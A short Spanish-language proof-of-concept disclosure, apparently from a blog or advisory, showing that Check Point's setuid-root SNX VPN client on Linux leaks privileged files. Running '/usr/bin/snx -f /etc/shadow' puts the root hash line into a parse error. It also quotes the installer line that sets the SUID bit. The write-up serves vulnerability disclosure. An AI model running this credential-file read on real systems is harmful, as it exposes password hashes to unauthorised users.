
Prueba de concepto para lectura de archivos con privilegios a través del cliente Linux SNX VPN de CheckPoint.
Prueba de concepto para la lectura privilegiada de archivos a través del cliente VPN SNX de CheckPoint para Linux.
Para explotarlo, basta con cargar cualquier archivo como configuración de SNX usando el parámetro -f. Si el archivo no es una configuración SNX válida, se producirá un error y se mostrará un error de sintaxis, filtrando el contenido hasta que se encuentre el terminador de cadena (p. ej. etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
La causa se debe a que el ejecutable /usr/bin/snx tiene el bit SETUID y se ejecuta como superusuario, establecido durante la instalación.
En particular, la variable COMMAND_TO_RUN definida en el archivo de instalación .sh (CheckPointVPN_SNX_Linux_800007075.sh):
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
En el parámetro --mode=u=rxs, la última s establece el bit SUID, lo que hace que el binario ejecutable se ejecute como root.